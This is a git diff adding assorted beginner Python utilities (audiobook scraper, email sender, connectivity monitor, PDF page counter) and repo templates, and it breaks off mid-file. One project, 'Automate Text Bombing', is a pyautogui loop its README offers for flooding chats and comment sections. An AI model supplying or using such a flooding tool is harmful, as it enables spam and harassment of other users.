diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000..f6250baf --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,17 @@ +--- +name: Feature Request +about: Suggest an idea for this project +labels: enhancement +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/ISSUE_TEMPLATE/issue_report.md b/.github/ISSUE_TEMPLATE/issue_report.md new file mode 100644 index 00000000..78df89b6 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/issue_report.md @@ -0,0 +1,31 @@ +--- +name: Bug Report +about: Create a report to help us improve +labels: bug +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: + +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Environment (please complete the following information):** + +- OS: [e.g. macOS, Windows, Linux] +- Python Version: [e.g., 3.6, 3.7, 3.8, 3.9] +- Any relevant dependencies or libraries + +**Additional context** +Add any other context about the problem here. diff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md new file mode 100644 index 00000000..f0fed3d8 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md @@ -0,0 +1,18 @@ +**Related Issue(s):** +Please provide a title for this pull request. + +**Description:** +Please provide a brief description of the changes you are proposing. + +**Checklist:** + +- [ ] I have read and followed the [contributing guidelines](/CONTRIBUTING.md). +- [ ] I have updated the documentation if necessary. +- [ ] I have added tests that prove my changes are effective or that my feature works. +- [ ] All new and existing tests pass. + +**Screenshots** +If applicable, add screenshots to help explain behaviour of your code. + +**Additional Notes:** +Please provide any additional information about the changes you are proposing. diff --git a/.github/config.yml b/.github/config.yml deleted file mode 100644 index 73d6bcaa..00000000 --- a/.github/config.yml +++ /dev/null @@ -1,37 +0,0 @@ -# Configuration for welcome - https://github.com/behaviorbot/welcome - -# Configuration for new-issue-welcome - https://github.com/behaviorbot/new-issue-welcome - -# Comment to be posted to on first time issues -newPRWelcomeComment: | - 💖 Thanks for opening this pull request! 💖 - - We use semantic commit messages to streamline the release process. Before your pull request can be merged, you should **update your pull request title** to start with a semantic prefix. - - For example, if your pull request is to fix a bug, you should update your title to start with `fix:`. If your pull request is to add a new feature, you should update your title to start with `feat:`. etc. - - Things that will help get your PR across the finish line: - - - [ ] Update your pull request title to start with a semantic prefix - - [ ] Add a description of your changes - - [ ] Add a README.md if you are adding a new project - - [ ] Add a link to your project in the README.md of this project - - [ ] Include screenshots and animated GIFs whenever possible in your project's README.md - -All pull requests on this repo, will eventually be merged so please be patient and we will get back to you as soon as we can. - - - -# Configuration for new-pr-welcome - https://github.com/behaviorbot/new-pr-welcome - -# Comment to be posted to on PRs from first time contributors in your repository -newPRWelcomeComment: > - Thanks for opening this pull request! Please check out our contributing guidelines. - -# Configuration for first-pr-merge - https://github.com/behaviorbot/first-pr-merge - -# Comment to be posted to on pull requests merged by a first time user -firstPRMergeComment: > - Congrats on merging your first pull request! Be proud of you! 🎉🎉🎉 - -# It is recommend to include as many gifs and emojis as possible diff --git a/.github/workflows/config.yml b/.github/workflows/config.yml new file mode 100644 index 00000000..f7e75026 --- /dev/null +++ b/.github/workflows/config.yml @@ -0,0 +1,52 @@ +name: Welcome New Contributors + +on: + issues: + types: [opened] + pull_request_target: + types: [opened] + +jobs: + welcome: + runs-on: ubuntu-latest + steps: + - name: Welcome Issue + if: github.event_name == 'issues' + uses: actions/github-script@v5 + with: + script: | + const issue = context.issue; + const repo = context.repo; + const issueAuthor = context.payload.sender.login; + + const welcomeMessage = ` + Hi @${issueAuthor}! :wave: + + Thank you for creating an issue in our repository! We appreciate your contribution and will get back to you as soon as possible. + `; + + github.rest.issues.createComment({ + ...repo, + issue_number: issue.number, + body: welcomeMessage + }); + - name: Welcome Pull Request + if: github.event_name == 'pull_request_target' + uses: actions/github-script@v5 + with: + script: | + const pr = context.issue; + const repo = context.repo; + const prAuthor = context.payload.sender.login; + + const welcomeMessage = ` + Hi @${prAuthor}! :wave: + + Thank you for submitting a pull request! We appreciate your contribution and will review your changes as soon as possible. + `; + + github.rest.issues.createComment({ + ...repo, + issue_number: pr.number, + body: welcomeMessage + }); diff --git a/.gitignore b/.gitignore index 424164b9..736d455c 100644 --- a/.gitignore +++ b/.gitignore @@ -134,3 +134,11 @@ cython_debug/ !.vscode/extensions.json .history .idea + +# macOS files +.DS_Store!/PYTHON APPS/Alarm_Clock/media/image/main.png + +!/PYTHON APPS/Alarm_Clock/media/image/chose_timer.png + +!/PYTHON APPS/Alarm_Clock/media/image/start_alarm.png +.DS_Store diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 00000000..4545270e --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "WEB-BASED PROJECTS/django-url-shortner"] + path = DJANGO PROJECTS/django-url-shortner + url = https://github.com/yeboahd24/django-url-shortner.git diff --git a/AUDIO RELATED SCRIPTS/AudioBuk/README.md b/AUDIO RELATED SCRIPTS/AudioBuk/README.md new file mode 100644 index 00000000..fe715356 --- /dev/null +++ b/AUDIO RELATED SCRIPTS/AudioBuk/README.md @@ -0,0 +1,13 @@ +# PDF to Audio converter + +## Description + +A program that when run will request to select a pdf file and will convert it to an audio file which is spoken out loud + +## Installation + +Simply run the audio.py file + +## License + +Open source diff --git a/AUDIO RELATED SCRIPTS/audiobookfinder/README.md b/AUDIO RELATED SCRIPTS/audiobookfinder/README.md new file mode 100644 index 00000000..f3ae250e --- /dev/null +++ b/AUDIO RELATED SCRIPTS/audiobookfinder/README.md @@ -0,0 +1,13 @@ +# simple audiobook finder + +## Description + +A program that finds audiobooks using a few known free audiobook websites + +## Installation + +Simply run the audiobookfinder.py file + +## License + +Open source diff --git a/AUDIO RELATED SCRIPTS/audiobookfinder/audiobookfinder.py b/AUDIO RELATED SCRIPTS/audiobookfinder/audiobookfinder.py new file mode 100644 index 00000000..05559cad --- /dev/null +++ b/AUDIO RELATED SCRIPTS/audiobookfinder/audiobookfinder.py @@ -0,0 +1,68 @@ +from bs4 import BeautifulSoup +import requests + + +import webbrowser + + + + +booklinks = [] +booktitles = [] + +def findfromgoldenaudiobooks(bookname): + URL = "https://goldenaudiobooks.com/?s=" + r = requests.get(URL + bookname) + soup = BeautifulSoup(r.content, 'html5lib') + booklist = soup.findAll('h2', attrs = {'class':'entry-title'}) + + for book in booklist: + booklinks.append(book.a['href']) + booktitles.append(book.a.text) + +def findfromfindaudiobooks(bookname): + URL = "https://findaudiobook.com/?s=" + r = requests.get(URL + bookname) + soup = BeautifulSoup(r.content, 'html5lib') + booklist = soup.findAll('h2', attrs = {'class':'entry-title post-title'}) + + for book in booklist: + booklinks.append(book.a['href']) + booktitles.append(book.a.text) + +def findfromfullengthaudiobooks(bookname): + URL = "https://fulllengthaudiobooks.com/?s=" + r = requests.get(URL + bookname) + soup = BeautifulSoup(r.content, 'html5lib') + booklist = soup.findAll('h2', attrs = {'class':'entry-title post-title'}) + + for book in booklist: + booklinks.append(book.a['href']) + booktitles.append(book.a.text) + + +def findfrom101audiobooks(bookname): + URL = "https://101audiobooks.net/?s=" + r = requests.get(URL + bookname) + soup = BeautifulSoup(r.content, 'html5lib') + booklist = soup.findAll('h2', attrs = {'class':'entry-title'}) + + for book in booklist: + booklinks.append(book.a['href']) + booktitles.append(book.a.text) + +search = input("search for a book ") + +findfromgoldenaudiobooks(search) +findfromfindaudiobooks(search) +findfromfullengthaudiobooks(search) +findfrom101audiobooks(search) + +for x in range(1, len(booktitles) + 1): + print(str(x) + ": " + booktitles[x-1]) + +booknum = int(input("select a book number ")) +print("opening " + str(booklinks[booknum - 1])) +webbrowser.open(str(booklinks[booknum - 1]), new=2) + + \ No newline at end of file diff --git a/AUTOMATION/Automate Text Bombing/Bomber_Source_Code.py b/AUTOMATION/Automate Text Bombing/Bomber_Source_Code.py new file mode 100644 index 00000000..064c9e6e --- /dev/null +++ b/AUTOMATION/Automate Text Bombing/Bomber_Source_Code.py @@ -0,0 +1,16 @@ +import time # importing time module +import pyautogui # importing pyautogui + +T = int(input("How many seconds do you want to wait before sending each message?\nEnter 0 for the quickest sending!\n")) # Desired Time before sending each messages +Text = input("Type the message you want to send as text BOMBING! : \n") # Desired Text +Time = int(input("How many times do you want to send the message?\n")) # How many messages the user want to send + +# I'll use while loop here + +i = 0 + +while (i <= Time-1 ): # The loop started + time.sleep(T) # will wait T times before sending each automated message + pyautogui.typewrite(Text) # will write the text the user want + pyautogui.press('enter') # will work as the 'Enter' button + i+=1 # i will increment as 1 each time diff --git a/AUTOMATION/Automate Text Bombing/CODE_OF_CONDUCT.md b/AUTOMATION/Automate Text Bombing/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..7d58e955 --- /dev/null +++ b/AUTOMATION/Automate Text Bombing/CODE_OF_CONDUCT.md @@ -0,0 +1,128 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity +and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +fahimbinamin@gmail.com. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series +of actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or +permanent ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within +the community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.0, available at +https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct +enforcement ladder](https://github.com/mozilla/diversity). + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see the FAQ at +https://www.contributor-covenant.org/faq. Translations are available at +https://www.contributor-covenant.org/translations. diff --git a/AUTOMATION/Automate Text Bombing/LICENSE b/AUTOMATION/Automate Text Bombing/LICENSE new file mode 100644 index 00000000..53462c20 --- /dev/null +++ b/AUTOMATION/Automate Text Bombing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Md. Fahim Bin Amin + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/AUTOMATION/Automate Text Bombing/README.md b/AUTOMATION/Automate Text Bombing/README.md new file mode 100644 index 00000000..536fb182 --- /dev/null +++ b/AUTOMATION/Automate Text Bombing/README.md @@ -0,0 +1,47 @@ +# Automate Text Bombing + +### You can use this Python code in anywhere you want to, whether it can be Facebook, messenger, WhatsApp, Telegram, Signal or anywhere else! + +
+ +The original codebase is on [FahimFBA/Automate-Text-Bombing](https://github.com/FahimFBA/Automate-Text-Bombing). + +
+
+ +## Follow these steps: +- Open the [Source Code](Bomber_Source_Code.py) to any IDE or Text Editor. +- Before running the code, open the text box where you want to send your automate bomb! +- If you find any error of PyAutoGui, then you may check the documentation of [PyAutoGui](https://pypi.org/project/PyAutoGUI/). If you find any other errors, then you'll find your solution in [Stack Overflow](https://stackoverflow.com/). +- For installing PyAutoGUI, run this command through your terminal: + ``` + pip install pyautogui + ``` +- You're all set for running your BOMBER! +
+
+
+ +--------------------------------------------- + +
+
+ +## Follow these steps during running your Text BOMBER! + +- Provide how many seconds you want to wait before sending each automated messages. Enter 0 for the quickest sending. +- Provide the text you want to send as an automated message bomb. +- Provide the amount of how many messages you want to send. You can send any amount of messages you want. +- Run the program and quickly take your cursor to the desired text box. For using the comment section of any media, click on the text box of the comment section. If you want to use this in any chat box, take the cursor to the chatbox and click on the text box for once. +- Voila! The Automated text bombing has been started! + +![Output Sample](img/text_bombing.png) + + +
+ + +[![Stargazers repo roster for @FahimFBA/Automate-Text-Bombing](https://reporoster.com/stars/FahimFBA/Automate-Text-Bombing)](https://github.com/FahimFBA/Automate-Text-Bombing/stargazers) + + +[![Forkers repo roster for @FahimFBA/Automate-Text-Bombing](https://reporoster.com/forks/FahimFBA/Automate-Text-Bombing)](https://github.com/FahimFBA/Automate-Text-Bombing/network/members) diff --git a/AUTOMATION/Automate Text Bombing/img/text_bombing.png b/AUTOMATION/Automate Text Bombing/img/text_bombing.png new file mode 100644 index 00000000..57e3fbdd Binary files /dev/null and b/AUTOMATION/Automate Text Bombing/img/text_bombing.png differ diff --git a/AUTOMATION/Email Automation/ReadMe.MD b/AUTOMATION/Email Automation/ReadMe.MD new file mode 100644 index 00000000..8de7214b --- /dev/null +++ b/AUTOMATION/Email Automation/ReadMe.MD @@ -0,0 +1,16 @@ +# Automating email sending task + +## Introduction +utilizing the `smtplib` library + +`smtp_server` and `smtp_port`: Set these variables to the appropriate SMTP server and port of your email provider. + +`sender_email`: Specify the email address from which you want to send the email. + +`sender_password`: Provide the password or an app-specific password for the sender's email account. + +`recipient_email`: Specify the recipient's email address. + +`subject`: Set the subject line of the email. + +`message`: Provide the content or body of the email. \ No newline at end of file diff --git a/AUTOMATION/Email Automation/automatedSending.py b/AUTOMATION/Email Automation/automatedSending.py new file mode 100644 index 00000000..9145a79d --- /dev/null +++ b/AUTOMATION/Email Automation/automatedSending.py @@ -0,0 +1,55 @@ +import os +import smtplib +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart + +def send_email(sender_email, recipient_email, subject, message): + # SMTP server configuration + smtp_server = 'smtp.gmail.com' + smtp_port = 587 + + # Get the sender password from an environment variable + sender_password = os.environ.get('EMAIL_PASSWORD') + + if not sender_password: + print("Error: Email password not set in environment variable.") + return + + # Create the email message + email = MIMEMultipart() + email['From'] = sender_email + email['To'] = recipient_email + email['Subject'] = subject + + # Create a MIMEText object with HTML content + html_content = ''' + + +

{}

+

{}

+

This is a bold example.

+

This is an italic example.

+ + + '''.format(subject, message) + + email.attach(MIMEText(html_content, 'html')) + + # Connect to the SMTP server + server = smtplib.SMTP(smtp_server, smtp_port) + server.starttls() + server.login(sender_email, sender_password) + + # Send the email + server.sendmail(sender_email, recipient_email, email.as_string()) + + # Close the connection + server.quit() + +# Example usage +sender_email = 'varda.quraishi@globewyze.com' +recipient_email = 'vardaquraishi@gmail.com' +subject = 'Hello from Python Email Script' +message = 'This is an automated email sent using Python.' + +send_email(sender_email, recipient_email, subject, message) diff --git a/AUTOMATION/FileReplaceWithNewer/README.md b/AUTOMATION/FileReplaceWithNewer/README.md new file mode 100644 index 00000000..acaae0e7 --- /dev/null +++ b/AUTOMATION/FileReplaceWithNewer/README.md @@ -0,0 +1,15 @@ +# File copying + +### Description + +I built this program so I can back up my files with only new files or files that have changed since +the last backup. This program recursively walks down every directory tree until it finds a file, then adds or replaces +this file into the backup directory. + +### Functionality +- Directory walking +- Selective file copying + +### Instructions +It uses only the standard library so can be run as is. + diff --git a/AUTOMATION/FileReplaceWithNewer/replace_with_newer.py b/AUTOMATION/FileReplaceWithNewer/replace_with_newer.py new file mode 100644 index 00000000..348c2b30 --- /dev/null +++ b/AUTOMATION/FileReplaceWithNewer/replace_with_newer.py @@ -0,0 +1,35 @@ +import os +import shutil + +from contextlib import contextmanager +from pathlib import Path + + +@contextmanager +def copy_work(working_dir, text_to_replace, replacement_text): + """ + Recursive function that iterates down through source directory until a file is reached. If file is newer than same + file in the target directory then replaces target file with source version. If source doesn't exist in target + directory then copies source file into target directory. + :param replacement_text: replacement text to put into source path i.e /a/b//file + :param text_to_replace: text that needs to be replaced in source path i.e /a/b//file + :param working_dir: the source directory that contains the newest files. + :return: copied file + """ + os.chdir(working_dir) + for file in Path.cwd().iterdir(): + if file.is_file(): + try: + p1, p2 = os.path.getmtime(Path(file.as_posix())), os.path.getmtime(Path( + f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}').as_posix()) + if p1 > p2: + shutil.copy(Path(file).as_posix(), Path( + f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}')) + print(f'{Path(file).name} replaced.') + except: + shutil.copy(Path(file).as_posix(), Path( + f'{os.path.split(file.as_posix())[0].replace(text_to_replace, replacement_text)}/{os.path.split(file.as_posix())[1]}')) + print(f'{Path(file).name} added.') + else: + copy_work(file, text_to_replace, replacement_text) + diff --git a/AUTOMATION/InternetConnectivityMonitor/README.md b/AUTOMATION/InternetConnectivityMonitor/README.md new file mode 100644 index 00000000..1f7234e5 --- /dev/null +++ b/AUTOMATION/InternetConnectivityMonitor/README.md @@ -0,0 +1,24 @@ +# Internet Connectivity Monitor + + +## Overview + +Hi, I'm Prince Khunt. I have developed this Python script, which periodically check internet connectivity and diagnose network issues. It automates the process of diagnosing and potentially resolving connectivity problems by performing various network tests and actions. + +## Features + +- Checks internet connectivity by pinging multiple websites. +- Diagnoses network issues such as DNS resolution problems, DNS hijacking, proxy blocking, and firewall issues. +- Automatically restarts Wi-Fi connections, if connectivity problems persist. + +## Usage + +1. Clone or download the script to your local machine. +2. Ensure you have Python installed on your system. +3. Run the script using the command `python monitor.py`. +4. The script will periodically check internet connectivity and diagnose any issues encountered. + +## Requirements + +- Python 3.x +- Requests library (install via `pip install requests`) diff --git a/AUTOMATION/InternetConnectivityMonitor/monitor.py b/AUTOMATION/InternetConnectivityMonitor/monitor.py new file mode 100644 index 00000000..c7a2527d --- /dev/null +++ b/AUTOMATION/InternetConnectivityMonitor/monitor.py @@ -0,0 +1,153 @@ +import requests +import socket +import platform +import subprocess +import time + +# List of websites +websites = ['http://google.com', 'http://facebook.com', 'http://twitter.com'] + +# Check internet connectivity +def check_internet(): + for website in websites: + try: + response = requests.get(website, timeout=10) + if response.status_code == 200: + print("\033[92mConnected to {}\033[0m".format(website)) + return True + except requests.ConnectionError as e: + print("\033[91mFailed to connect to {}: {}\033[0m".format(website, e)) + break # Stop further attempts if one website fails + return False + +# Diagnose network issues +def diagnose_issue(): + # Flush DNS cache + try: + if platform.system() == 'Windows': + subprocess.run(["ipconfig", "/flushdns"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True) + print("\033[92mDNS cache flushed.\033[0m") + elif platform.system() in ['Darwin']: + subprocess.run(["sudo", "killall", "-HUP", "mDNSResponder"], check=True) + subprocess.run(["sudo", "dscacheutil", "-flushcache"], check=True) + print("\033[92mDNS cache flushed.\033[0m") + elif platform.system() in ['Linux']: + subprocess.run(["sudo", "systemctl", "restart", "networking"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True) + print("\033[92mDNS cache flushed.\033[0m") + else: + print("\033[91mUnsupported platform for DNS cache flushing.\033[0m") + except subprocess.CalledProcessError as e: + print("\033[91mFailed to flush DNS cache: {}\033[0m".format(e)) + + # Check DNS resolution + try: + socket.gethostbyname('google.com') + print("\033[92mDNS resolution successful.\033[0m") + except socket.gaierror: + print("\033[91mDNS resolution failed. Check DNS settings.\033[0m") + + # Check DNS hijacking + try: + dns_response = socket.gethostbyname('example.com') + if dns_response != '93.184.216.34': + print("\033[93mDNS hijacking detected.\033[0m") + except socket.gaierror: + print("\033[91mDNS resolution failed. Check DNS settings.\033[0m") + + # Check if proxy is blocking connections + try: + response = requests.get("http://example.com", timeout=10) + if response.status_code == 200: + print("\033[92mProxy is not blocking connections.\033[0m") + except requests.ConnectionError: + print("\033[91mConnection Error Occurred, Proxy could be blocking connection. \033[0m") + + # Check general network connectivity + try: + socket.create_connection(("google.com", 80), timeout=10) + print("\033[92mIPv4 network connectivity is fine.\033[0m") + except OSError: + print("\033[91mIPv4 network connectivity issue. Check network settings or firewall.\033[0m") + + # Check ipv6 ping + if platform.system() != 'Windows': # Windows does not support IPv6 ping easily + try: + subprocess.run(["ping", "-c", "1", "-6", "ipv6.google.com"], timeout=10, check=True) + print("\033[92mIPv6 network connectivity is fine.\033[0m") + except subprocess.CalledProcessError: + print("\033[91mIPv6 network connectivity issue. Check network settings or firewall.\033[0m") + except subprocess.TimeoutExpired: + print("\033[91mIPv6 ping timeout.\033[0m") + + # Check if ping is working + try: + if platform.system() == 'Windows': + subprocess.run(["ping", "-n", "1", "8.8.8.8"], timeout=10, check=True) + else: + subprocess.run(["ping", "-c", "1", "8.8.8.8"], timeout=10, check=True) + print("\033[92mPing is up.\033[0m") + except subprocess.CalledProcessError: + print("\033[91mUnable to ping. Probably Internet is not working, Check firewall settings if any.\033[0m") + except subprocess.TimeoutExpired: + print("\033[91mUnable to ping. Internet is not working.\033[0m") + + # Check Captive portals + try: + response = requests.get("http://clients3.google.com/generate_204", timeout=10) + if response.status_code == 204: + print("\033[92mNo captive portal detected.\033[0m") + else: + print("\033[93mCaptive portal detected.\033[0m") + except requests.ConnectionError: + print("\033[91mFailed to check for captive portal.\033[0m") + + # Check certificate + try: + response = requests.get("https://google.com", timeout=10) + print("\033[92mSSL certificate check successful.\033[0m") + except requests.exceptions.SSLError: + print("\033[91mSSL certificate check failed. Check SSL certificates.\033[0m") + except requests.ConnectionError: + print("\033[91mFailed to check SSL certificate.\033[0m") + +#Restart Wi-Fi connection +def restart_wifi(): + system = platform.system() + if system == 'Windows': + try: + subprocess.run(["netsh", "interface", "set", "interface", "Wi-Fi", "disabled"], check=True) + time.sleep(5) + subprocess.run(["netsh", "interface", "set", "interface", "Wi-Fi", "enabled"], check=True) + except subprocess.CalledProcessError as e: + print("\033[91mFailed to restart Wi-Fi on Windows: {}\033[0m".format(e)) + elif system == 'Linux': + try: + subprocess.run(["sudo", "systemctl", "restart", "network-manager"], check=True) + except subprocess.CalledProcessError as e: + print("\033[91mFailed to restart Wi-Fi on Linux: {}\033[0m".format(e)) + elif system == 'Darwin': # macOS + try: + subprocess.run(["networksetup", "-setairportpower", "en0", "off"], check=True) + time.sleep(5) + subprocess.run(["networksetup", "-setairportpower", "en0", "on"], check=True) + except subprocess.CalledProcessError as e: + print("\033[91mFailed to restart Wi-Fi on macOS: {}\033[0m".format(e)) + else: + print("\033[91mUnsupported platform.\033[0m") + +#Check internet connectivity every 10 seconds +while True: + if not check_internet(): + print("\033[91mInternet is down. Diagnosing the issue...\033[0m") + diagnose_issue() + print("\033[93mAttempting to restart Wi-Fi...\033[0m") + restart_wifi() + time.sleep(10) # Allow time for Wi-Fi to reconnect + if check_internet(): + print("\033[92mWi-Fi restarted successfully.\033[0m") + else: + print("\033[91mFailed to restart Wi-Fi or connect to the internet.\033[0m") + else: + print("\033[92mInternet is up and running.\033[0m") + + time.sleep(10) # Wait for 10 seconds before checking again diff --git a/AUTOMATION/InternetConnectivityMonitor/requirements.txt b/AUTOMATION/InternetConnectivityMonitor/requirements.txt new file mode 100644 index 00000000..bf0d9d41 --- /dev/null +++ b/AUTOMATION/InternetConnectivityMonitor/requirements.txt @@ -0,0 +1 @@ +requests==2.28.2 \ No newline at end of file diff --git a/AUTOMATION/PDF Page Color Counter/README.md b/AUTOMATION/PDF Page Color Counter/README.md new file mode 100644 index 00000000..4a34f820 --- /dev/null +++ b/AUTOMATION/PDF Page Color Counter/README.md @@ -0,0 +1,63 @@ + +![Star Badge](https://img.shields.io/static/v1?label=%F0%9F%8C%9F&message=If%20Useful&style=style=flat&color=BC4E99) +![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103) + +# PDF Page Color Counter + +## ðŸ› ï¸ Description +This Python project provides a simple yet powerful tool for analyzing PDF documents and counting the number of black and color pages. Whether you're working on document analysis, quality control, or just curious about the composition of your PDF files, this code helps you gain insights into the document's visual characteristics. + +**Key Features:** + +* Easy Integration: With a few lines of code, you can integrate this functionality into your Python applications or workflows. + +* PDF Expertise: Utilizing the PyMuPDF (MuPDF) library, this project efficiently processes PDF files, making it suitable for a wide range of applications. + +* Color Page Detection: It accurately identifies color and black & white pages within the PDF document, providing valuable statistics. + +* Use Cases: This code can be employed in various scenarios, such as document archiving, printing optimization, or content analysis. + +## âš™ï¸ Languages or Frameworks Used +- **Python**: The primary programming language used for the project. +- **FastAPI**: A modern, fast (high-performance) web framework for building APIs with Python. +- **PyMuPDF (MuPDF)**: A lightweight and efficient PDF processing library for Python. +- **OpenCV**: Used for image analysis and processing. +- **Pillow (PIL)**: Python Imaging Library for working with images. + +## 🌟 How to run + - ### Install all the requirements + Run `pip install -r requirements.txt` to install all the requirements. + - ### Setup a Virtual Enviroment + + - Run this command in your terminal `python -m venv myenv`. + - Change your directory by `cd myenv/Scripts` if on windows. + - Activate the virtual enviroment by running this command `source activate`. + - Move out from virtual env to your **Project Directory** by `cd..` . + - Install the packages if not present - `uvicorn`, `fastapi`, `fitz`, `frontend`, `tools`, `opencv-python`, `pillow`, `python-multipart`, `PyMuPDF`. + ``` + pip install uvicorn fastapi fitz frontend tools opencv-python pillow python-multipart PyMuPDF + ``` + +- ### Now Just, Run the project + + -Now Run the following command - `uvicorn main:app --reload`. + -Open the localhost link on your browser and put `/docs` at your endpoint to see the fastapi docs UI. + ![Screenshot 2023-10-25 134746](https://github.com/Om25091210/Count-Color-Black-Pages-PDF/assets/74484315/2b5b64a2-1c00-4a5a-ab7c-99fb30e7aba6) + + -Now, Click on **POST** and then **Try it out**. + -Click on **Choose file** to select a pdf, which you want to count the number of black and color pages. + -Click on **Execute**. + + +## 📺 Demo +![Screenshot 2023-10-25 133406](https://github.com/Om25091210/Count-Color-Black-Pages-PDF/assets/74484315/a84def7c-7db4-4ab5-bf0b-f8cfe5ded66b) + + +## 🤖 Author + +Github - [OM YADAV](https://github.com/Om25091210) +LinkedIn - [OM YADAV](www.linkedin.com/in/omyadav) + + + + diff --git a/AUTOMATION/PDF Page Color Counter/main.py b/AUTOMATION/PDF Page Color Counter/main.py new file mode 100644 index 00000000..452ef8a9 --- /dev/null +++ b/AUTOMATION/PDF Page Color Counter/main.py @@ -0,0 +1,51 @@ +from fastapi import FastAPI, UploadFile, File +import fitz +import cv2 +from PIL import Image +import numpy as np +import os + +app = FastAPI() + +@app.post("/") +async def get_pdf(file : UploadFile = File(...)): + #Initializing our variables. + colored_page_count = 0 + color_list=[] + black_list=[] + num = 0 + black_count = 0 + #Getting the file name and then saving it in local. + contents = await file.read() + with open(file.filename, "wb") as f: + f.write(contents) + # Open the PDF file + # Get the full path to the uploaded file + file_path = os.path.join(os.getcwd(), 